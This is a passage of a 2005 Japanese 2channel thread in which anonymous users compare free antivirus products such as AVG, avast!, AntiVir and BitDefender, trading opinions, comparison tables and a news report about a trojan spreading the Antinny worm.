05/11/27 23:26:45
>>476
キングは大ジョブだよ！
まぁもっと日本語勉強してから工作しような。
479:名無しさん＠お腹いっぱい。
05/11/27 23:38:17
>>476
該当スレで聞けば…ってロクな名前のスレが無いな。
標準で悪名高いマルウェアのJWord付きってのも。
下手に安価な製品版よりはフリーの方がまだマシかもね。
安価系はソフトや鯖のトラブル時の復旧やサポートがフリー以下だったりするし。
ロクに企業導入実績も無いような商品版はフリーと変わらないかそれ以下だ罠
逆にフリー(トライアル)でも
同じ開発元の製品版が企業導入実績が充実してる物はある程度安心でしょう。
それでもトラブルは完全には避けられないけど、復旧も比較的速いし。
480:名無しさん＠お腹いっぱい。
05/11/27 23:38:42
>>476
やめとけ
スパイウェアとJワードが同梱されてくるから
そもそもキングソフト性能良くないし
481:476
05/11/28 00:06:34
それでは、やめるとしたら
無難にウイルスバスターでよいでしょうか？
因みにノートンはウイルスに破壊されましたorz
482:名無しさん＠お腹いっぱい。
05/11/28 00:13:58
在日か？
483:名無しさん＠お腹いっぱい。
05/11/28 00:21:35
>>476
Nortonがやられたのか？
それならAVG使え
俺はNAV05だが次はNAV06にする
ﾊﾞｽﾀｰに変える気は全くない
ファイル交換ユーザーはNortonよりもAVGの方が評判がいい
※JWordを自動インストールを防ぐ為には
URLﾘﾝｸ(www3.ocn.ne.jp)
484:名無しさん＠お腹いっぱい。
05/11/28 00:23:37
>>481
ウイルスバスターとかavestとか、いろいろあるから自分で決めろ
485:名無しさん＠お腹いっぱい。
05/11/28 00:37:59
>ファイル交換ユーザーはNortonよりもAVGの方が評判がいい
詳細よろしくお願いします。
486:名無しさん＠お腹いっぱい。
05/11/28 01:19:39
まぁ早い話、そこまでびびってるんならウイルスバスターとavestとspibotとマカフィ－でも入れて全部でチェックかければいい
487:名無しさん＠お腹いっぱい。
05/11/28 04:22:05
このスレ初めてなんだけど、「無料」「フリー」別々にググって両方出てきた
"vcatch"ってソフトがリスト系レスに入って無いのは性能悪いから？
488:名無しさん＠お腹いっぱい。
05/11/28 06:18:43
>>487
・メールチェックをはずせば他と共存できる
・侵入をチェックするが入ったものは駆除できない
・アドウェアが組み込まれる
ぜひレポよろしく。
489:名無しさん＠お腹いっぱい。
05/11/29 03:13:59
>>486
>avestとspibot
どこで落とせるんでしょうか。
490:名無しさん＠お腹いっぱい。
05/11/29 10:17:35
AVGからAvastに変えてみたけど
アプリを起動するときに多少遅くなった程度で
OSの起動時とかはAVGとほとんど変わらない感じだな
491:名無しさん＠お腹いっぱい。
05/11/29 10:55:49
Avastはリアルタイムのメールチェック機能を外せばそんなに重くないんじゃないの
覚えのない添付ファイル開かなきゃいいんだし
492:名無しさん＠お腹いっぱい。
05/11/29 23:03:25
>>489
まずはお前のアタマからウィルスを駆除しなきゃな。
493:名無しさん＠お腹いっぱい。
05/11/30 02:46:27
ノートンの期限が切れたのでフリーのアンチウイルスソフトを探してます。
AVGは優秀だと思いますが圧縮ファイルの検査ができないのでできる奴って無いですか？
494:名無しさん＠お腹いっぱい。
05/11/30 02:56:39
> 圧縮ファイルの検査ができない
これは語弊があるな。
できないのではなく、対応形式が少ないだけ。
avast! 4 Home Edition でも使ったら？
495:493
05/11/30 03:00:55
即答ありがとうございます。
検出力は最低キンタマくらいに反応すればいいのでそれにします。
496:487
05/11/30 05:27:54
>>488
即レスに気付かずレス遅れスマソ_(._.)_(更新手動にしたの忘れてマスタ)
アドウェア入んのはヤですねぇ～^_^;
>ぜひレポよろしく。
選んでる最中だったんで落としてません
有難うございます参考になりました(>_<)
次は無料炎壁逝ってきもす(^^ゞ
497:名無しさん＠お腹いっぱい。
05/11/30 14:05:28
AVG は対応してる圧縮形式は少ないけど、プログラムの実行段階で止めてくれるから。
常駐は AVG に任せて、圧縮ファイルの検査には BitDefender をコマンドラインで使うのが
負荷や検出力を総合的に考えると良いと思う。
498:名無しさん＠お腹いっぱい。
05/11/30 20:45:59
キンタマ系が気になるならewidoの無料版を右クリック用に入れるのも良いかもね
499:名無しさん＠お腹いっぱい。
05/11/30 21:27:13
俺も>>497の言うAVG+BitDefenderがいいと思う
500:名無しさん＠お腹いっぱい。
05/11/30 21:39:58
そして500
501:名無しさん＠お腹いっぱい。
05/11/30 23:09:11
>>500
／/l:::::::::::::::::::::|.|.|:::::j | | !::::::::::::: !,!|::::::::|:||:::::::::::::::::::::l
／／/l ::::r┐::::::,j !ｲﾆ |_|､! |l_＿_l ll ｨ--,ﾆ,┐::::::::::l !:::: ! 闇ニ惑ヒシ憐レナ影ヨ
.／／／/l::::::|,!.|::::::::l'lｱ::｡::lヽヽ /,イ"｡:ヾ||::::::::::| !::::::|
／ ／./. //l::::::::|亅::::::|.|ヽ__,ノ .｀ ヽ___/ ||:::::::::|ﾉ::::::::! 人ヲ傷ツケ貶メテ
.／ / / // !:::::::::::|::::::::| ! |,! :::::::|:::::::::::|!
'´ ／ ／ /./ ｜::::::::::::|:::::::| l. _ _ ,|::::|:::::|:::|::: :::!l 罪ニ溺レシ業ノ魂・・・
／ / / / .! ::::::::::::::|::::::.|＼ ＿_ ／:￣l￣:::j::::|::::l.l
/ / / ./ ! ::::::::::::::|:::::::l.l:::::: ヽ､ ー _,ィ'´::::::::,||:::::::::|::::|::::l l, イッペン 死ンデミル？
／.／ / .l::::::::::::::/|::::::,!,!|:::_,ノ| ｀`ｰ---‐'" ト_ ::::::l !::::::::|l:::|l::::| !l
／ / / .!:::::::::::::/i,|:::::/,l〃'､ ヽ＼. ／ .／入l |:::::::::| !:l.l::: l !l
502:名無しさん＠お腹いっぱい。
05/12/01 01:43:51
>>498
>キンタマ系が気になるならewidoの無料版を右クリック用に入れるのも良いかもね
ほぅ。ewidoってタマ系に対応してるんですね。
これって、AVG+BitDefenderみたいにAVG+ewidoって出来るんでしょうか？
503:名無しさん＠お腹いっぱい。
05/12/01 08:42:58
>>502
大丈夫。
504:名無しさん＠お腹いっぱい。
05/12/01 10:18:40
URLﾘﾝｸ(www.geocities.jp)
Panda Platinum 7.0
英語・無料で使える。アンチウイルス+PFW。リアルタイムスキャンできる・メールスキャンできる。
機能制限は無く、ファイアウォールはSygate PRO相当だが古いのでインストールのときにチェックを
外したほうが良い。自動認識でUIをOSの言語に合わせるが日本語では英語の中に一部スペイン語が混ざってしまう。らしい
URLﾘﾝｸ(www.pandasecurity.com)
505:名無しさん＠お腹いっぱい。
05/12/01 10:32:36
AntiVir PersonalEdition Classic 7.0 BETA
URLﾘﾝｸ(www.free-av.com)
2バイト文字もスキャンできるようになったl
506:名無しさん＠お腹いっぱい。
05/12/01 10:35:26
>>505
AVG から乗り換えようかと思ってスレ覗いてみたけど…
もう少し落ち着くまで待った方が良さそうかな。
507:名無しさん＠お腹いっぱい。
05/12/03 10:14:22
フリーのアンチウイルスソフト 主な製品の能力比較
検出力 常駐 更新 2ﾊﾞｲﾄ文字 軽さ 言語
4 ○ ○ ○ 4 英語 AntiVir 7.0 BETA
3 ○ ○ ○ 2 日本語 Avast 4.6
2 ○ ○ ○ 5 英語 AVG 7.1
5 × ○ ○ 3 英語 BitDefender 7.2
2 ○ ○ ○ 4 日本語 eTrust
5 ○ ○ ○ 1 英語 TrustPort
508:名無しさん＠お腹いっぱい。
05/12/03 10:31:54
フリーのアンチウイルスソフト 主な製品の能力比較
常駐 更新 2ﾊﾞｲﾄ文字 検出力 軽さ 機能 言語
○ ○ ○ 4 4 3 英語 AntiVir 7.0 BETA
○ ○ ○ 3 2 5 日本語 Avast 4.6
○ ○ ○ 2 5 3 英語 AVG 7.1
× ○ ○ 5 3 2 英語※ BitDefender 7.2
○ ○ ○ 2 4 3 英語※ eTrust
○ ○ ○ 5 1 4 英語 TrustPort
※ 日本語化パッチあり
509:名無しさん＠お腹いっぱい。
05/12/03 10:38:15
TrustPort良さげだけどメモリ喰いなのか
情報サイト少ないしもう少し見送っとこ
510:名無しさん＠お腹いっぱい。
05/12/03 10:38:47
AVG 7.1 も不完全だが日本語化出来る
511:名無しさん＠お腹いっぱい。
05/12/03 10:49:50
それと、検出力に差があるように見えるが、ほとんどはメジャーな
ウイルスの検出力テストの VB100 や ICSA ロゴを取得している。
ファイル交換や危険なサイトへの出入りを自ら頻繁に行うような輩
でない限り、実用上大差無い事も明記しておくべき。
逆に言えば、上記のような行為を行っていれば定義ファイルに無い
新種ウイルスに遭遇する可能性も高いので、検出力の高いソフトを
使っていてもウイルスに感染する危険性は高い。
512:名無しさん＠お腹いっぱい。
05/12/03 11:31:38
とはいえ、何があるかわからないし、あってからでは遅いので、
検出力もしっかり考慮に入れた方がいい。
ところで、Avast!って以前は結構軽かった気がするんだが、
重くなったのかね。
513:名無しさん＠お腹いっぱい。
05/12/03 11:44:08
avast の重さはどの機能を使うかによって変わるから。
機能を限定すれば軽くはなるが、それなら最初から軽いソフトを
使った方が良い、という見方もある。
何度も書かれてるが、要は自分にとって何がどこまで必要か、
自分の環境にソフトが合っているかどうか、って事だ。
514:名無しさん＠お腹いっぱい。
05/12/03 12:52:47
TrustPortは常駐保護をオンにしとくとアプリ起動が凄く遅くなる
515:名無しさん＠お腹いっぱい。
05/12/03 13:07:57
>>514
でも常駐でエンジンにBitDefenderのを使ってるってすごい吸引力
516:名無しさん＠お腹いっぱい。
05/12/03 14:37:53
わざわざ変なこと聞くようで悪いんだが、
フリーのものは有償ものと比べて重さや検出性能とかどんな感じなのか教えていただけないだろうか
当方初心者のーとん先生入れてるが、重さに嫌気がさしてきてるんだが
517:名無しさん＠お腹いっぱい。
05/12/03 14:40:49
対して変わらない
あｖｓｔとかあｖｇとか完全無償のやつもあるってよ
518:名無しさん＠お腹いっぱい。
05/12/03 14:49:26
そうか、ありがとう。
勉強しなおしてくる
519:名無しさん＠お腹いっぱい。
05/12/03 14:58:13
>>516
AntiVir 7.0 BETA版を使ってみたがAVGほどじゃないが
このソフトもすごく軽いよ
正規版がリリースされたら試しに使ってみるといい
520:名無しさん＠お腹いっぱい。
05/12/03 15:31:33
先生とか、パッケージで3000円以上するものよりかは検出性能低いようだが
3000円以下で売られてるまたは売る予定のソフトよりは検出性能高いこと多い。
521:名無しさん＠お腹いっぱい。
05/12/03 15:36:48
一足先に64bit版の試験
2005/12 Windows Server2003 ENTERPRISE X64 VERSION Virus Bulletin誌の試験結果
------------------------------------------------------------------------------------
アンチウィルスメーカー exeファイル OLEファイル exe(zip) OLE(zip) 検出性能(総合)
------------------------------------------------------------------------------------
Alwil avast!. ５６秒（ ３倍） １３秒 ４５秒 １４秒 ミス=１４７
CA eTrust(Ⅰ) ５３秒（ ３倍） ２秒 ２１秒 ４秒 ミス=９
CA eTrust(Ⅴ) ４４秒（ ２倍） １秒 ２３秒 ４秒 ミス=１６
Cat Quick Heal ３８秒（ ２倍） ６秒 ２２秒 ６秒 ミス=５４２
Ｅｓｅｔ １８秒（ １倍） ２秒 １３秒 ３秒 完璧でした
GDATA AntiVirusKit. １９４秒（１１倍） ７秒 ７４秒 １０秒 ミス=３(ItW)
Grisoft AGV. ７５秒（ ４倍） ３秒 ２８秒 ４秒 ミス=２８７
Ｋａｓｐｅｒｓｋｙ. ８５秒（ ５倍） ８秒 ４０秒 ９秒 ミス=２
McAfee ４２秒（ ２倍） ５秒 ２７秒 ６秒 ミス=２９
Ｓｙｍａｎｔｅｃ. ７９秒（ ４倍） ７秒 ３３秒 ５秒 完璧でした
------------------------------------------------------------------------------------
522:名無しさん＠お腹いっぱい。
05/12/03 16:05:49
また全角厨房かよw
523:名無しさん＠お腹いっぱい。
05/12/03 17:17:27
>Grisoft AGV
なにこの新種ｗｗｗｗｗｗｗｗ
524:名無しさん＠お腹いっぱい。
05/12/03 19:51:00
近所の本屋に寄ったらPCJapanの12月号が売れ残ってたんで
買ってきて、読んでるとこ
「セキュリティーツールガイド2006」って言うタイルがあったからなんだけど
大体自分の今までの感想と同じだね
ウイルス対策ソフトは有料ならNOD, Kaspersky、無料ならavastという結論かな
無料AVはavast, AVG, ClamWinが比較対象だけど、検出力、スキャン時間の短さ、
常駐時のメモリ消費量の少なさを総合的に見るとavastが一番良い
常駐時のメモリ消費量の少ない順では
{ ClamWin } - { NOD, Kaspersky, avast } - { その他大勢 }
PCJapanの総括でも『また、フリーソフトウェアの中では「avast! 4 Home Edition」
(以下、avast!が一番高い検出結果で、市販のセキュリティーソフトと比べて悪くない
検出能力と言えるだろう)』ってことで、フリーのPFWやスパイウェア対策ソフトと
併用すれば市販品並かそれ以上のセキュリティー能力があると思う
525:名無しさん＠お腹いっぱい。
05/12/03 20:07:20
フリーの対象ソフトがavast、AVG、ClamWinの3種類だけって…
526:名無しさん＠お腹いっぱい。
05/12/03 20:10:36
偏向記事の見本だな
527:名無しさん＠お腹いっぱい。
05/12/03 20:23:54
どこが偏向なの。
具体的に述べよ。
24時間の猶予を>526に与える。
早く、ご回答を。ね。
528:524
05/12/03 20:31:09
あ～あ、とうとう2chユーザーがマスコミにけんかを売りました
さて、どっちが勝つでしょう？
今回の謙では、俺はPCJapanが勝つと思うけど
529:名無しさん＠お腹いっぱい。
05/12/03 20:47:36
あのさ、空気読める？
530:名無しさん＠お腹いっぱい。
05/12/03 20:51:33
宣伝うざー
531:名無しさん＠お腹いっぱい。
05/12/03 21:32:16
くうき
532:名無しさん＠お腹いっぱい。
05/12/03 22:53:00
つまんね。レベルが知れるな。
533:名無しさん＠お腹いっぱい。
05/12/03 22:57:41
>>523
AGVﾜﾛﾀ
534:名無しさん＠お腹いっぱい。
05/12/04 01:27:00
>>529
空気なんかよりデータ出せば？
535:名無しさん＠お腹いっぱい。
05/12/04 11:46:17
URLﾘﾝｸ(www.virus.gr)
9. BitDefender version 8.0.137 - 88.13%
20. AntiVir version 6.30.00.17 - 84.50%
21. Avast version 4.6.623 - 79.65%
28. AVG version 7.0.308 - 54.07%
29. E-Trust version 7.0.5.3 - 52.35%
35. ClamWin version 0.83 - 48.44%
536:名無しさん＠お腹いっぱい。
05/12/04 15:51:34
ずっとAVG使ってきたけど、初めてavast!入れてみた。
これいい！スキンで見た目がまるで変わってしまうのね。
537:名無しさん＠お腹いっぱい。
05/12/04 15:57:59
それがスキンなんだってば
538:名無しさん＠お腹いっぱい。
05/12/04 19:26:59
重さって使用メモリ量なのか。マモリはいっぱいあるからさ。
レイテンシやスループットの評価ってないですか？
539:名無しさん＠お腹いっぱい。
05/12/04 20:01:10
Trustはそれでも重い
現状BitDefender+αが最良
540:名無しさん＠お腹いっぱい。
05/12/04 20:13:14
TrustPortも設定次第でかなり軽くなる
541:名無しさん＠お腹いっぱい。
05/12/04 22:42:40
avast入れた途端、専ﾌﾞﾗでアクセスすると
red-bbsやらss23.comやらのPASS入力画面が出るようになりましたorz
なんじゃこりゃー！（当然それらにアクセスしたことは無いです）
542:名無しさん＠お腹いっぱい。
05/12/05 00:24:48
>>528
スレ違い。消えろゴミ。
543:名無しさん＠お腹いっぱい。
05/12/06 07:17:55
メモリ消費量なんてどうでもいいんだよなー。
極端な話100M200M使ってもらっても構わない。
その分動作をキビキビさせてもらえると助かる。
544:名無しさん＠お腹いっぱい。
05/12/06 07:48:33
いやー金持ちの言うことは違うね～
545:名無しさん＠お腹いっぱい。
05/12/06 09:06:55
金持ちってあんた、1年前に512MBしか買えなかった金額で
今は1GB買える時代なんだが。
546:名無しさん＠お腹いっぱい。
05/12/06 09:38:14
>メモリ消費量なんてどうでもいいんだよなー
最強な環境で裏山氏
547:名無しさん＠お腹いっぱい。
05/12/06 23:47:53
PC4300の1GBが7000円で買えるもんなー。
いい時代になったもんだ。
548:名無しさん＠お腹いっぱい。
05/12/07 02:29:08
あれっここセキュ板だよね？
549:名無しさん＠お腹いっぱい。
05/12/07 09:32:08
気にするな、どこも似たり寄ったりだ。
550:名無しさん＠お腹いっぱい。
05/12/07 23:15:55
2GB積んでりゃアンチウイルスで200MB消費されたところで何も困らんだろう。
というわけで俺もメモリ消費量なんてどうでもいいんだよなー派。
551:名無しさん＠お腹いっぱい。
05/12/08 01:04:43
551と言ったらなるみ。
552:名無しさん＠お腹いっぱい。
05/12/08 01:13:11
>>551
わかんねぇよｗｗｗｗ
あるときー(・∀・)
ないときー('A`)
553:名無しさん＠お腹いっぱい。
05/12/08 01:15:04
まあ、メモリ消費なんて“仮想メモリを使って遅くなる以外”
動作の速さ・遅さ（軽さ・重さ）にほとんど関係無いし・・・
554:名無しさん＠お腹いっぱい。
05/12/08 11:19:33
>>550
その金があったら有料版買う罠。
最近の有料系(特にマカフィー＆ノートン)は低スペック機ではきついから…
無料版は金掛けたくない低スペックのサブ機で使用してるし。
555:名無しさん＠お腹いっぱい。
05/12/08 13:34:52
いいスペックのPCに軽いのを入れればよりサクサク動いていいんじゃね？
わざわざ重いノートンやらを入れる必要性は感じない。
556:名無しさん＠お腹いっぱい。
05/12/08 13:48:50
有料版買ってもサポート窓口で対応してくれるってだけで、ウイルスに感染されても
ハードやデータについて保証してくれる訳じゃないしな。
仕事等でも使うのならば建前もあるだろうからともかく、個人レベルの保護なら
流行してるのやメジャーなウイルスに対応していれば、フリーソフトと個人の意識と
知識の向上で対応して行くのも現実的な選択肢だと思う。
と言うか、そうじゃなきゃ、フリーのアンチウイルスソフトの存在意義ってほとんど
なくなるしな。
557:名無しさん＠お腹いっぱい。
05/12/09 15:06:58
Antinnyを投下するトロイの木馬、コピー防止ソフト「XCP」で隠蔽工作か
URLﾘﾝｸ(internet.watch.impress.co.jp)
URLﾘﾝｸ(www.symantec.com)
米Symantecは6日、「W32.HLLW.Antinny」を投下するトロイの木馬型ウイルス「Trojan.Welomoch」を警告した。
コピー防止ソフト「XCP」を悪用して、Antinnyの存在を隠すという。危険度は5段階中、最も低い“1”。
Trojan.Welomochが実行されるとタイトルバーに「抜子たん」と書かれたダイアログが表示される。
このダイアログ中には何らかの文字が表示されているが、現在Symantecが公開している情報ではこの文字が文字化けしており、判読できない。
ただし、プログレッシブバーが表示されていることから、何らかの活動を行なっているものと見られる。？
具体的な活動としてわかっているのは、Windowsのシステムフォルダに「io.tan」というファイルを作成すること。
また、システムフォルダにワーム型ウイルス「W32.HLLW.Antinny」のコピーである
「$sys$WeLoveMcCOL.exe」「$sys$sos$sys$.？exe」「$sys$sonyTimer.exe」という3種類のファイルのうちいずれかを投下する。
さらにレジストリを改竄し、Windowsを起動するたびにAntinnyを実行するよう設定するほか、システムの復元機能を無効にするという。？
なお、Trojan.WelomochがどのようにXCPを悪用してAntinnyを隠すかは、現在のところ明らかにされていない。
558:名無しさん＠お腹いっぱい。
05/12/10 23:45:57
>>552
豚まん
559:名無しさん＠お腹いっぱい。
05/12/11 01:31:31
/＼＿＿_／ヽ
(.｀ヽ(｀＞ 、 ／'''''' '''''':::::＼
`'＜｀ゝr'ﾌ＼. ＋ |（●）, ､（●）､.:| ＋
⊂ｺ二Lﾌ^´ ノ, ／⌒) | ,,,ﾉ(､_, )ヽ､,, .:::::|
⊂l二L7_ / -ゝ-')´ .+ | ｀-=ﾆ=- ' .:::::::| + .
＼_ ､__,.ｲ＼ ＋ ＼ ｀ﾆﾆ´ .:::／ +
(T＿_ノ Tヽ , -r'⌒!￣ `":::7ヽ.｀- ､ ./| .
ヽ￢. / ﾉ`ｰ-､ﾍ<ｰ1´| ヽ | :::::::::::::ﾄ、 ＼ ( ./ヽ
＼l__,.／ i l.ヽ! | .| ::::::::::::::l ヽ ｀７ｰ.､‐'´ |＼-､
◆銘 柄： ジェイコム （マザーズ 24620）
◆売 買： 売 付
＿＿＿＿＿
◆注文数量： ｜ 610000 | 株
￣￣￣￣￣ ＿＿＿
◆注文単価： ● 指 値 ｜ 1| 円
○ 成 行 ￣￣￣
＿＿＿＿＿_
| 確 認＿_|
￣￣￣￣|＼
560:名無しさん＠お腹いっぱい。
05/12/11 01:43:45
やめなさいw
561:名無しさん＠お腹いっぱい。
05/12/11 01:57:41
>>559
ﾜﾛﾀｗ
562:名無しさん＠お腹いっぱい。
05/12/13 00:36:06
URLﾘﾝｸ(page11.auctions.yahoo.co.jp)
563:名無しさん＠お腹いっぱい。
05/12/13 00:55:14
>>562
こんなヤツの出品物、ウイルスが入ってそうでコワイな。
564:名無しさん＠お腹いっぱい。
05/12/13 00:57:20
402 名前：名無しさん＠お腹いっぱい。 投稿日：2005/12/12(月) 22:29:12
URLﾘﾝｸ(magical.jellybean.jp)
409 名前：406 投稿日：2005/12/12(月) 23:56:24
yahooにもジュピターにも通報してきた
URLﾘﾝｸ(www.uploda.org)
565:名無しさん＠お腹いっぱい。
05/12/13 03:23:48
407 名前：sage 投稿日：2005/12/12(月) 23:41:21
ここから通報汁！！
Yahoo!オークション - ガイドラインに反すると思われるオークション報告フォーム
URLﾘﾝｸ(auctions.yahoo.co.jp)
566:名無しさん＠お腹いっぱい。
05/12/13 03:35:29
詐欺罪が成立するといいな
あとは警察がどう動くかだ
567:名無しさん＠お腹いっぱい。
05/12/13 23:53:16
Antivirus Stop! Free Edition
URLﾘﾝｸ(www.proantivirus.com)
ロシア製の無料対策ソフト
Win95/98/Me/NT/2000/XP 対応
HD 5MB, RAM 32MB
ロシア語苦手な人は翻訳サイトで
WorldLingo ： URLﾘﾝｸ(www.worldlingo.com)
（翻訳元に Русский を指定）
568:名無しさん＠お腹いっぱい。
05/12/14 00:42:22
ロシアはきな臭いな。
569:名無しさん＠お腹いっぱい。
05/12/14 12:42:38
439 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/13(火) 11:11:09
これまだあるよｗ
URLﾘﾝｸ(openuser.auctions.yahoo.co.jp)
446 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/13(火) 19:59:01
>>442
ここから通報汁！！
Yahoo!オークション - ガイドラインに反すると思われるオークション報告フォーム
URLﾘﾝｸ(auctions.yahoo.co.jp)
448 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/13(火) 20:23:50
DVD Shrinkの方はどこへ通報すればいいんだ？
452 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2005/12/14(水) 00:31:29
DVD Shrinkのﾊﾞｰｼﾞｮﾝ情報より
このソフトウェアは無料でのみライセンスされます !!
もし、このソフトウェアに対して課金された場合は、下記に報告してください
インターネット詐欺苦情センター(IFCC)
米国司法省
URLﾘﾝｸ(www1.ifccfbi.gov)
570:名無しさん＠お腹いっぱい。
05/12/15 01:06:38
また、全体に対して、無償のウイルス対策ソフトを使用している理由を、複数回答で聞いてみたところ、
「（有償のウイルス対策ソフトは値段が）高すぎる」（121人）がトップで、ついで「有償でも無償でも効果は同じ」（118人）、
「ウイルス対策ソフトにお金をかけたくない」（99人）、「有償ソフトは購入するのが面倒」（69人）などだった。
このほか、使用している（したことのある）無償ウイルス対策ソフトの名称、オンラインスキャンなどについても聞いた。
ウイルス対策はインターネットの重要なインフラだ。有償ソフトは、高価な割には使用感が悪かったり、
その目的を十分に果たしていない、とユーザーは感じているのではないだろうか。
また、一部を除いて、ユーザーが個別に対応しなければならないのが現状だ。
それならいっそのこと無料のソフトで対応しよう、と思うのは、当然のことではないだろうか。
（調査協力： 株式会社インフォプラント ）
571:名無しさん＠お腹いっぱい。
05/12/15 01:25:30
>>570
どこの記事？
572:名無しさん＠お腹いっぱい。
05/12/16 17:19:26
・ブラウザは常にscriptオフ
・ny等でキンタマ等を落としまくり、でも全て詳細表示で見てるので踏んだことは一度も無い
・ny等で露骨にウイルスっぽい(ﾌｫﾙﾀﾞ偽装・ﾌｧｲﾙ名偽装)がノートン無反応のファイルに遭遇することもしばしば
・↑なので今まで基本ノートン先生をあんま信用しないでやってきてた。
こんなボクですが、ノートン先生期限切れでウイルス定義ファイルの更新が出来なくなりました。
今までの行動パターンを変えないのなら、今後はAVGに乗り換えてもさほど支障は無いっぽいのでしょうか？
573:名無しさん＠お腹いっぱい。
05/12/16 17:58:47
うん^^
574:名無しさん＠お腹いっぱい。
05/12/16 19:58:40
たぶん大丈夫だお＾＾
575:名無しさん＠お腹いっぱい。
05/12/16 20:43:43
>>572
nyに対応しきれているソフトなんかあるわけないだろｽﾞﾙﾑｹが。
576:名無しさん＠お腹いっぱい。
05/12/16 22:09:12
>>575
つコミュニケーション
577:名無しさん＠お腹いっぱい。
05/12/17 10:59:25
キンタマや山田対応のフリーソフトなら何が検知力最強？
578:名無しさん＠お腹いっぱい。
05/12/17 11:22:03
ノートン使っとけ。
579:名無しさん＠お腹いっぱい。
05/12/17 16:49:21
ノートンは山田に反応しないよ
580:名無しさん＠お腹いっぱい。
05/12/17 17:29:10
キートン山田？
581:名無しさん＠お腹いっぱい。
05/12/17 19:43:29
>>577
アクティブにny等を使う場合、万全といえるアンチウイルスソフトは無料有料を問わず存在しない。
ソフトは何でも良いので>>572的にソフトを信頼し切らず自衛することが肝要。
582:名無しさん＠お腹いっぱい。
05/12/18 11:39:53
AvastのウイルスデータベースにAntinnyシリーズあったよ。
583:名無しさん＠お腹いっぱい。
05/12/18 23:48:27
>>579
デマ流し乙ｗ
>キンタマ系などローカルなものに対応が早いのはウイルスバスターやノートン。
>URLﾘﾝｸ(www.viruslist.com)
>URLﾘﾝｸ(www.viruslist.com)
584:名無しさん＠お腹いっぱい。
05/12/19 01:34:30
ノートン先生期限切れになった後フリーのを入れてノートンはそのまま放置してるけど削除したほうがいい??
585:名無しさん＠お腹いっぱい。
05/12/19 01:46:03
不具合が出てなければ構わんと思うが、綺麗にしといた方が
後々の為には良さそうだな。
586:名無しさん＠お腹いっぱい。
05/12/22 01:03:39
漏れはウイルスバスター使ってるんだけど、興味が出て、フリーのセキュリティーソフト入れてみたんだ。
昨日入れたんだが、今日PCにインしたとたん、スパイウェアを発見してくれたよ。
ウイルスバスターは、うんとも、すんとも言わなかったけど･･････。
いちいち手動でウイルスバスターで検索も掛けてみたけど、ウイルスバスターでは、そのソフトは全く発見できず。
そもそもavast!4、はウイルスが動き出す前に発見して知らせてくれるけど、ウイルスバスターは感染した後に警告してくれるらしい。
･･････意味なくないか！？。
587:名無しさん＠お腹いっぱい。
05/12/22 01:05:46
もうちょっと仕組みや製品ごとの目的を勉強した方が良いよ。
588:名無しさん＠お腹いっぱい。
05/12/22 01:33:06
すげーなPCにインできるなんて
589:名無しさん＠お腹いっぱい。
05/12/22 07:55:17
avast!は反応早いよ。
Webシールドにしたって速攻切断してくれるし。
他のアンチウイルスだとDLダイアログぐらいは出るからねぇ。
590:名無しさん＠お腹いっぱい。
05/12/22 13:56:32
>>589
> 他のアンチウイルスだとDLダイアログぐらいは出るからねぇ。
ダイアログは普通リクエストを送った段階で出ると思うんだが
avastはユーザーがダウンロード操作をする前にweb上のファイルを先読みしてるん？
591:名無しさん＠お腹いっぱい。
05/12/22 16:06:26
>>583
> >キンタマ系などローカルなものに対応が早いのはウイルスバスターやノートン。
> >URLﾘﾝｸ(www.viruslist.com)
> >URLﾘﾝｸ(www.viruslist.com)
上を見るとantinyにいいのはノートンとマカ？
3，5あたりはバスター無いね。
下にはバスターでなくてマカが無い。
ノートン使えって事？
592:名無しさん＠お腹いっぱい。
05/12/22 16:14:44
>>591
スレチガイ
アラシは巣に帰れ！
593:名無しさん＠お腹いっぱい。
05/12/22 16:21:28
>>592
> >>591
> スレチガイ
> アラシは巣に帰れ！
荒らしじゃないよ。そんなにまずいか？すれ違いと言っても言い出しっぺじゃないし。
それに有料、無料でどう違うかは比較しておくのは意味がある。
このウィルスはこのソフト駄目だけどこっちはOKとかなら、ユーザーにメリット有るじゃないか。
594:名無しさん＠お腹いっぱい。
05/12/22 16:22:28
>>593
一番いいセキュリティソフトはなんだ!!Part8
ｽﾚﾘﾝｸ(sec板)
595:名無しさん＠お腹いっぱい。
05/12/22 16:23:08
>>594
> >>593
> 一番いいセキュリティソフトはなんだ!!Part8
> ｽﾚﾘﾝｸ(sec板)
サンクス。ここID無いのね。
596:名無しさん＠お腹いっぱい。
05/12/22 17:45:18
>>591
相対的には対応状況の反応速度差はそりゃあるさ。
ただ、亜種がワラワラと作られている現状では
antiny対策としてどのソフトを使えば安心、なんてこたぁありえない訳で。
結局はどのソフト使おうともソフト未対応の可能性を考慮して行動しなきゃ危険だし、
そのように行動するなら無料有料を問わずどのソフトでも大差ない、となる。
597:名無しさん＠お腹いっぱい。
05/12/22 19:50:40
良い世の中になったもんだ。。ｹﾞﾎｯｹﾞﾎｯ(>o<*)y-~~~
598:名無しさん＠お腹いっぱい。
05/12/22 22:13:50
つーか、有料無料の違いって、機能の豊富さやプログラム本体の更新頻度、
サポート窓口の有無…とかじゃないの？
有料だからって、ウイルスに感染しても補償してくれる訳ではないし。
メジャーな無料ソフトはデータベースの更新も頻繁だし、単純に検出率で
比較すれば下手な有料ソフトも無料ソフトも大差無いようだけど。
599:名無しさん＠お腹いっぱい。
05/12/23 00:00:06
個人で使うにはフリーでもいいでしょ、って前にも書いた気が。
会社とかでフリー使ったら、知ってる人が見たら笑われるけど。
600:名無しさん＠お腹いっぱい。
05/12/23 00:02:47
会社で使ったら大概のソフトはライセンス違反だな
601:名無しさん＠お腹いっぱい。
05/12/23 00:20:31
>>598
ｽﾚﾘﾝｸ(sec板)
602:名無しさん＠お腹いっぱい。
05/12/23 00:35:38
まぁ、フリー版は大口注文を得る為の撒餌だし…
603:名無しさん＠お腹いっぱい。
05/12/23 08:07:26
今使っているウイルスソフトがまったく使えないので
新しい奴に変えたいのです。
けどお金がないよぅ
何か無料ソフトで何かよいの無いですか?
自分で調べたら「URLﾘﾝｸ(ratan.dyndns.info)」
をみつけたんだけどこれってどうなのでしょうじゃ?
604:名無しさん＠お腹いっぱい。
05/12/23 10:40:29
>>603
いいソフトですよ。
avast! 4 Home Edition
AVG Anti-Virus
│
│
│
│
│
│
│
│
│
↓
越えられない壁（愛国無罪）
↓
キングソフトインターネットセキュリティ2006
バイドクター(VIDOCTOR） ｖ1.03
こんな感じになります
